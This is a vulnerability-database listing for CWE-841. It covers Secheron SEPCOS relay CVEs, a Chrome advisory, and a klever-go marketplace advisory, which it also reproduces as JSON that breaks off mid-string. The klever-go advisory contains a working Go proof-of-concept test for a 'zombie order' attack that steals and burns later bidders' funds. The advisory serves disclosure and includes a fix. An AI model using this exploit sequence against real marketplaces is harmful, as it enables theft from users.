CWE-841
AllowedImproper Enforcement of Behavioral Workflow
Abstraction: Class · Status: Incomplete
The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.
129 vulnerabilities reference this CWE, most recent first.
CVE-2022-2105 (GCVE-0-2022-2105)
Vulnerability from cvelistv5 – Published: 2022-06-24 15:00 – Updated: 2025-04-16 16:16- CWE-841 - IMPROPER ENFORCEMENT OF BEHAVIORAL WORKFLOW
| URL | Tags |
|---|---|
| https://www.cisa.gov/uscert/ics/advisories/icsa-2… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| Secheron | SEPCOS Control and Protection Relay firmware package |
Affected:
All versions , < 1.23.21
(custom)
|
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CVE-2022-2102 (GCVE-0-2022-2102)
Vulnerability from cvelistv5 – Published: 2022-06-24 15:00 – Updated: 2025-04-16 16:16- CWE-841 - IMPROPER ENFORCEMENT OF BEHAVIORAL WORKFLOW
| URL | Tags |
|---|---|
| https://www.cisa.gov/uscert/ics/advisories/icsa-2… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| Secheron | SEPCOS Control and Protection Relay firmware package |
Affected:
All versions , < 1.23.21
(custom)
|
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CVE-2022-1667 (GCVE-0-2022-1667)
Vulnerability from cvelistv5 – Published: 2022-06-24 15:00 – Updated: 2025-04-16 16:16- CWE-841 - IMPROPER ENFORCEMENT OF BEHAVIORAL WORKFLOW
| URL | Tags |
|---|---|
| https://www.cisa.gov/uscert/ics/advisories/icsa-2… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| Secheron | SEPCOS Control and Protection Relay firmware package |
Affected:
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(custom)
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"ASSIGNER": "ics-cert@hq.dhs.gov",
"DATE_PUBLIC": "2022-06-23T17:01:00.000Z",
"ID": "CVE-2022-1667",
"STATE": "PUBLIC",
"TITLE": "Secheron SEPCOS Control and Protection Relay"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "SEPCOS Control and Protection Relay firmware package",
"version": {
"version_data": [
{
"version_affected": "\u003c",
"version_name": "All versions",
"version_value": "1.23.21"
},
{
"version_affected": "\u003c",
"version_name": "All versions",
"version_value": "1.24.8"
},
{
"version_affected": "\u003c",
"version_name": "All versions",
"version_value": "1.25.3"
}
]
}
}
]
},
"vendor_name": "Secheron"
}
]
}
},
"credit": [
{
"lang": "eng",
"value": "Anthony Candarini of AECOM, Clark Bradley of Elliott Davis, Mike Curnow of AECOM, and Balakrishna Subramoney of SAM Analytic Solutions reported these vulnerabilities to CISA."
}
],
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Client-side JavaScript controls may be bypassed by directly running a JS function to reboot the PLC (e.g., from the browser console) or by loading the corresponding, browser accessible PHP script"
}
]
},
"generator": {
"engine": "Vulnogram 0.0.9"
},
"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-841 IMPROPER ENFORCEMENT OF BEHAVIORAL WORKFLOW"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-174-03",
"refsource": "MISC",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-174-03"
}
]
},
"solution": [
{
"lang": "en",
"value": "Secheron recommends updating its software to the latest version:\n\nSEPCOS Single Package firmware (1.23.xx feature level): Update to 1.23.22 or higher version\nSEPCOS Single Package firmware (1.24.xx feature level): Update to 1.24.8 or higher version\nSEPCOS Single Package firmware (1.25.xx feature level): Update to 1.25.3 or higher version"
}
],
"source": {
"advisory": "ICSA-22-174-03",
"discovery": "EXTERNAL"
},
"work_around": [
{
"lang": "en",
"value": "Additional workarounds are suggested to help reduce the risk:\n\nConfigure the network such that PLC communications are strictly limited to only the devices required to perform its functions.\nLimit remote access and close Ports 80 and 443 at the switch level.\nOnly use approved devices to connect to the PLCs. Do not connect personal peripherals (USB sticks, hotspots) to approved devices.\nCheck device logs during periodic maintenance for unauthorized changes or access."
}
]
}
}
},
"cveMetadata": {
"assignerOrgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"assignerShortName": "icscert",
"cveId": "CVE-2022-1667",
"datePublished": "2022-06-24T15:00:30.365Z",
"dateReserved": "2022-05-10T00:00:00.000Z",
"dateUpdated": "2025-04-16T16:16:23.607Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-255W-J3FM-6R98
Vulnerability from github – Published: 2026-09-29 18:32 – Updated: 2026-10-02 15:31Inappropriate implementation in PlatformIntegration in Google Chrome on on Windows prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-95385"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T18:17:32Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in PlatformIntegration in Google Chrome on on Windows prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-255w-j3fm-6r98",
"modified": "2026-10-02T15:31:13Z",
"published": "2026-09-29T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95385"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0856730748.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517192965"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-26R5-4MM2-PX5C
Vulnerability from github – Published: 2026-09-23 21:24 – Updated: 2026-09-23 21:24Location: core/kapp/market/market.go — Buy() (approx. L281–436)\
Severity: High
The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.
Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.
A seller can settle a resting-bid auction early via the seller-accept branch of Claim (~L776) → executeBuyMarket (~L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.
Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.
Attack sequence (permissionless , anyone can create a sell order):
1. Attacker (seller S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil).
2. S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live".
3. Victim B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378).
4. B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.
POC
package market
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/core/process/kda/kdautils"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/kvm/mock/stub"
"github.com/stretchr/testify/require"
)
// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft
// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`
// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.
//
// Attack (attacker A == seller S, victim B):
// 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).
// 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder,
// no settlement because Price==0).
// 3. S accepts the resting bid early via Claim's seller-accept branch (L776),
// which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,
// proceeds paid to S(=A). This settle path is the ONLY one that does NOT
// reset EndTime and does NOT delete the order -> the order becomes a live
// "zombie" (IsClaimed=true, EndTime in the future, still loadable).
// 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed
// guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X
// (funded by B), and B becomes CurrentBidder on an already-claimed order.
// 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on
// IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.
//
// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.
func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {
const (
blockTime = int64(1000)
endTime = int64(1_001_000) // future relative to blockTime
reserve = int64(1_000_000) // R
bidX = int64(1_000_000) // A's resting bid (== reserve, >= reserve required)
bidY = int64(2_000_000) // B's bid on the zombie order (must be > X)
fundAttacker = int64(10_000_000)
fundVictim = int64(10_000_000)
)
klv := kdautils.KLVIdentifier
collectionID := []byte("ZOMBIE-COLL")
assetID := []byte("1")
marketplaceID := []byte("mp-zombie")
orderID := []byte("order-zombie")
attacker := defaultAddr // A == S (seller and first bidder)
victim := defaultOther // B
marketKApp, accCacher, forkController := createTestMarketKApp(t)
// Post-fork behaviour (guards on royalty overflow enabled); does not touch
// the missing-IsClaimed-guard path being tested.
forkController.FixMarketBuyOverflowValue = true
// --- Fund the two user accounts (Buy debits real balances) ---
attackerAcc, err := accCacher.LoadUser(attacker)
require.NoError(t, err)
require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))
require.NoError(t, accCacher.UpdateUser(attackerAcc))
victimAcc, err := accCacher.LoadUser(victim)
require.NoError(t, err)
require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))
require.NoError(t, accCacher.UpdateUser(victimAcc))
// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---
marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)
require.NoError(t, err)
require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{
ID: marketplaceID,
OwnerAddress: attacker,
Name: []byte("Zombie Market"),
ReferralAddress: attacker,
ReferralPercentage: 0, // keep accounting clean
}))
// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).
require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))
// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and
// Sell L1003-1014: Auction has no Price>0 requirement).
order := &kapps.MarketOrderData{
ID: orderID,
MarketplaceID: marketplaceID,
MarketType: kapps.MarketOrderData_Auction,
OwnerAddress: attacker,
CollectionID: collectionID,
AssetID: assetID,
CurrencyID: klv,
Price: 0, // <-- makes bids rest instead of auto-settle
ReservePrice: reserve, // R
ReferralPercentage: 0,
StartTime: blockTime,
EndTime: endTime, // future
IsClaimed: false,
}
require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))
require.NoError(t, accCacher.UpdateKapp(marketKappAcc))
// --- Shared KApp context / controller wiring for all handler calls ---
receiptsStub := mock.NewReceiptsContextStub()
ctx := &mock.KAppContextStub{
ContractIDCalled: func() int { return 0 },
ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub },
BlockCalled: func() *block.Block {
return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}
},
TxNonceCalled: func() uint64 { return 1 },
}
// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.
asset := &kapps.KDAData{
OwnerAddress: attacker,
Royalties: &kapps.RoyaltiesData{
Address: attacker,
MarketPercentage: 0,
SplitRoyalties: make(map[string]*kapps.RoyaltySplitData),
},
}
controllerStub := &stub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },
GetKDAKAppCalled: func() kapp.KDAKapp {
return &stub.KDAKappStub{
GetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {
return nil, asset, nil
},
}
},
}
require.NoError(t, marketKApp.SetKAppController(controllerStub))
balance := func(addr []byte) int64 {
a, e := accCacher.LoadUser(addr)
require.NoError(t, e)
return a.GetBalance(klv, false)
}
// ============================================================
// STEP 1: A places a RESTING bid X via the real Buy handler.
// ============================================================
status, err := marketKApp.Buy(attacker, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidX,
})
require.NoError(t, err, "resting bid should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, restedOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle")
require.Equal(t, attacker, restedOrder.CurrentBidder)
require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order")
require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")
// ============================================================
// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept
// branch). This settles the order but leaves EndTime in the future
// and does NOT delete the order -> zombie order.
// ============================================================
status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID})
require.NoError(t, err, "early seller-accept claim should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, settledOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)")
require.True(t, settledOrder.IsClaimed, "order is now claimed/settled")
require.GreaterOrEqual(t, settledOrder.EndTime, blockTime,
"BUG: early-claim settle path leaves EndTime in the future (order looks live)")
require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")
// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.
require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")
// ============================================================
// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X.
// Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability).
// ============================================================
status, err = marketKApp.Buy(victim, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidY,
})
require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order")
require.Equal(t, transaction.Transaction_Ok, status,
"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")
require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y")
require.Equal(t, fundAttacker+bidX, balance(attacker),
"A received a PHANTOM refund of X (funded by B) on the zombie order")
_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order")
require.Equal(t, bidY, zombieOrder.CurrentBid)
require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")
// ============================================================
// HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752).
// ============================================================
status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID})
require.Error(t, err, "HARM: B's Claim must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")
// ============================================================
// HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125).
// ============================================================
status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID})
require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")
// ============================================================
// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT
// and no recovery path; A is permanently up X.
// ============================================================
require.Equal(t, fundVictim-bidY, balance(victim),
"HARM: B is down Y (%d) with no NFT and no recoverable path", bidY)
require.Equal(t, fundAttacker+bidX, balance(attacker),
"HARM: A is up X (%d), siphoned from B", bidX)
// Confirm B never received the NFT (it was delivered to A at settle time).
victimFinal, err := accCacher.LoadUser(victim)
require.NoError(t, err)
_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)
require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")
t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+
"Y-X = %d KLV destroyed/stranded.",
bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)
}
Executable Go test: core/kapp/market/poc_zombie_order_test.go — TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy
Run:
cd klever-go
GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v
(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per go.mod. Full market package suite passes no regressions.)
Output:
PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable.
A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded.
--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)
PASS
Assertions proven (all using real market functions, harm-level not mechanism-level):
- Resting bid: Price=0 auction → bid rests (CurrentBid=X, IsClaimed=false), no auto-settle.
- Early seller-accept Claim → IsClaimed=true, EndTime still in the future, order still loadable (the zombie).
- Victim Buy on the claimed order returns Transaction_Ok (the vulnerability no IsClaimed guard).
- Harm (a): victim's Claim reverts Transaction_ParameterInvalid.
- Harm (b): victim's CancelOrder reverts Transaction_ParameterInvalid.
- Harm (c): victim −Y, attacker +X, victim holds no NFT and has no recovery path.
Impact
- Direct, permanent fund loss for any bidder who bids on an already-settled order. The victim's entire bid
Yis burned with nothing received and no recovery path (ClaimandCancelOrderboth revert onIsClaimed). - Theft: the attacker (seller, also acting as prior bidder
Avia Sybil) keeps the NFT and harvests≈Xfrom each subsequent bidder. Repeatable across many bait orders. - Value destruction:
Y−Xper victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation). - No privileged role required , anyone can create a marketplace sell order.
- Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads
EndTime-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).
Impact High × Likelihood Medium -> High.
Recommendation
Add an IsClaimed guard at the top of Buy, mirroring Claim (market.go:752) and CancelOrder (market.go:1125):
if marketOrder.IsClaimed {
return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed
}
Defense-in-depth (optional but recommended): in executeBuyMarket, reset EndTime/CurrentBid/CurrentBidder (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-82406"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T21:24:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**Location:** `core/kapp/market/market.go` \u2014 `Buy()` (approx. L281\u2013436)\\\n**Severity:** High\n\nThe native marketplace enforces an `IsClaimed` guard in `Claim` (`market.go:752`), `CancelOrder` (`market.go:1125`), and `orderEscrowAmount` (`market.go:251`), but **not in `Buy`**.\n\nMarketplace escrow is *virtual*: the market KApp account never custodies currency. A bid burns funds from the bidder (`bidderAcc.SubFromBalance`, ~L378), and refunds/payouts mint to the recipient (`AddToBalance`, e.g. the prior-bidder refund at ~L349). Soundness depends on each order\u0027s `CurrentBid` being paid out exactly once.\n\nA seller can settle a resting-bid auction **early** via the seller-accept branch of `Claim` (~L776) \u2192 `executeBuyMarket` (~L656). That path sets `IsClaimed=true`, delivers the NFT, pays the seller, and re-saves the order (`SetMarketOrder`, ~L726) \u2014 but, unlike every other settle path, it does **not** reset `EndTime` (contrast immediate-buy `Buy` ~L416 and `CancelOrder` ~L1206), and no code path deletes the order. The result is a \"zombie\" order: already settled, yet still loadable with `EndTime` in the future and a stale `CurrentBidder`.\n\nBecause `Buy` has no `IsClaimed` guard, a new bidder can still `Buy` on that settled order (the bid guard at ~L317 only forces the new amount `Y \u003e CurrentBid X`). The new bidder is debited `Y`; the prior bidder is refunded `X` (funded by the new bidder, not minted); the new bidder becomes `CurrentBidder` on an `IsClaimed` order and can then neither `Claim` (reverts on `IsClaimed`) nor `CancelOrder` (reverts on `IsClaimed`). Their funds are lost permanently.\n\n**Attack sequence (permissionless , anyone can create a sell order):**\n1. Attacker (seller `S`) creates a resting-bid auction (`Price=0`, `ReservePrice\u003e0`) for an NFT and self-bids `X` as bidder `A` (Sybil).\n2. `S` accepts `A`\u0027s bid early via `Claim` \u2192 NFT goes to `A` (= attacker, keeps it), `S` (= attacker) collects the owner payout, order marked `IsClaimed=true` but left \"live\".\n3. Victim `B` bids `Y \u003e X` on the still-live-looking auction via `Buy`. `Buy` refunds prior bidder `A` the amount `X` (`AddToBalance`, L349) and burns `Y` from `B` (`SubFromBalance`, L378).\n4. `B` is now `CurrentBidder` on a claimed order and can neither `Claim` nor `CancelOrder` \u2014 both revert on `IsClaimed`. `B`\u0027s `Y` is unrecoverable; `X` of it was siphoned to `A`; `Y\u2212X` is destroyed.\n\n### POC\n```\npackage market\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/core/process/kda/kdautils\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/kvm/mock/stub\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft\n// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`\n// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.\n//\n// Attack (attacker A == seller S, victim B):\n// 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).\n// 2. A places a resting bid X \u003e= R via Buy (records CurrentBid/CurrentBidder,\n// no settlement because Price==0).\n// 3. S accepts the resting bid early via Claim\u0027s seller-accept branch (L776),\n// which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,\n// proceeds paid to S(=A). This settle path is the ONLY one that does NOT\n// reset EndTime and does NOT delete the order -\u003e the order becomes a live\n// \"zombie\" (IsClaimed=true, EndTime in the future, still loadable).\n// 4. Victim B calls Buy on the zombie order with Y \u003e X. Buy has no IsClaimed\n// guard, so it SUCCEEDS: B is debited Y, prior bidder A is \"refunded\" X\n// (funded by B), and B becomes CurrentBidder on an already-claimed order.\n// 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on\n// IsClaimed). B\u0027s Y is unrecoverable; X of it is siphoned to A.\n//\n// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.\nfunc TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {\n\tconst (\n\t\tblockTime = int64(1000)\n\t\tendTime = int64(1_001_000) // future relative to blockTime\n\t\treserve = int64(1_000_000) // R\n\t\tbidX = int64(1_000_000) // A\u0027s resting bid (== reserve, \u003e= reserve required)\n\t\tbidY = int64(2_000_000) // B\u0027s bid on the zombie order (must be \u003e X)\n\t\tfundAttacker = int64(10_000_000)\n\t\tfundVictim = int64(10_000_000)\n\t)\n\n\tklv := kdautils.KLVIdentifier\n\tcollectionID := []byte(\"ZOMBIE-COLL\")\n\tassetID := []byte(\"1\")\n\tmarketplaceID := []byte(\"mp-zombie\")\n\torderID := []byte(\"order-zombie\")\n\n\tattacker := defaultAddr // A == S (seller and first bidder)\n\tvictim := defaultOther // B\n\n\tmarketKApp, accCacher, forkController := createTestMarketKApp(t)\n\t// Post-fork behaviour (guards on royalty overflow enabled); does not touch\n\t// the missing-IsClaimed-guard path being tested.\n\tforkController.FixMarketBuyOverflowValue = true\n\n\t// --- Fund the two user accounts (Buy debits real balances) ---\n\tattackerAcc, err := accCacher.LoadUser(attacker)\n\trequire.NoError(t, err)\n\trequire.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))\n\trequire.NoError(t, accCacher.UpdateUser(attackerAcc))\n\n\tvictimAcc, err := accCacher.LoadUser(victim)\n\trequire.NoError(t, err)\n\trequire.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))\n\trequire.NoError(t, accCacher.UpdateUser(victimAcc))\n\n\t// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---\n\tmarketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, marketKApp.SetMarketplace(marketKappAcc, \u0026kapps.Marketplace{\n\t\tID: marketplaceID,\n\t\tOwnerAddress: attacker,\n\t\tName: []byte(\"Zombie Market\"),\n\t\tReferralAddress: attacker,\n\t\tReferralPercentage: 0, // keep accounting clean\n\t}))\n\t// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).\n\trequire.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte(\"nft-data\")))\n\n\t// Auction with Price=0, ReservePrice=R -\u003e bids REST (see Buy L330-337 and\n\t// Sell L1003-1014: Auction has no Price\u003e0 requirement).\n\torder := \u0026kapps.MarketOrderData{\n\t\tID: orderID,\n\t\tMarketplaceID: marketplaceID,\n\t\tMarketType: kapps.MarketOrderData_Auction,\n\t\tOwnerAddress: attacker,\n\t\tCollectionID: collectionID,\n\t\tAssetID: assetID,\n\t\tCurrencyID: klv,\n\t\tPrice: 0, // \u003c-- makes bids rest instead of auto-settle\n\t\tReservePrice: reserve, // R\n\t\tReferralPercentage: 0,\n\t\tStartTime: blockTime,\n\t\tEndTime: endTime, // future\n\t\tIsClaimed: false,\n\t}\n\trequire.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))\n\trequire.NoError(t, accCacher.UpdateKapp(marketKappAcc))\n\n\t// --- Shared KApp context / controller wiring for all handler calls ---\n\treceiptsStub := mock.NewReceiptsContextStub()\n\tctx := \u0026mock.KAppContextStub{\n\t\tContractIDCalled: func() int { return 0 },\n\t\tReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub },\n\t\tBlockCalled: func() *block.Block {\n\t\t\treturn \u0026block.Block{Header: \u0026block.BlockHeader{Timestamp: blockTime}}\n\t\t},\n\t\tTxNonceCalled: func() uint64 { return 1 },\n\t}\n\t// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.\n\tasset := \u0026kapps.KDAData{\n\t\tOwnerAddress: attacker,\n\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\tAddress: attacker,\n\t\t\tMarketPercentage: 0,\n\t\t\tSplitRoyalties: make(map[string]*kapps.RoyaltySplitData),\n\t\t},\n\t}\n\tcontrollerStub := \u0026stub.KAppControllerStub{\n\t\tGetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },\n\t\tGetKDAKAppCalled: func() kapp.KDAKapp {\n\t\t\treturn \u0026stub.KDAKappStub{\n\t\t\t\tGetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {\n\t\t\t\t\treturn nil, asset, nil\n\t\t\t\t},\n\t\t\t}\n\t\t},\n\t}\n\trequire.NoError(t, marketKApp.SetKAppController(controllerStub))\n\n\tbalance := func(addr []byte) int64 {\n\t\ta, e := accCacher.LoadUser(addr)\n\t\trequire.NoError(t, e)\n\t\treturn a.GetBalance(klv, false)\n\t}\n\n\t// ============================================================\n\t// STEP 1: A places a RESTING bid X via the real Buy handler.\n\t// ============================================================\n\tstatus, err := marketKApp.Buy(attacker, \u0026transaction.BuyContract{\n\t\tID: orderID,\n\t\tCurrencyID: klv,\n\t\tAmount: bidX,\n\t})\n\trequire.NoError(t, err, \"resting bid should succeed\")\n\trequire.Equal(t, transaction.Transaction_Ok, status)\n\n\t_, restedOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, bidX, restedOrder.CurrentBid, \"bid must REST (record CurrentBid), not settle\")\n\trequire.Equal(t, attacker, restedOrder.CurrentBidder)\n\trequire.False(t, restedOrder.IsClaimed, \"resting bid must not settle the order\")\n\trequire.Equal(t, fundAttacker-bidX, balance(attacker), \"A debited X on the resting bid\")\n\n\t// ============================================================\n\t// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept\n\t// branch). This settles the order but leaves 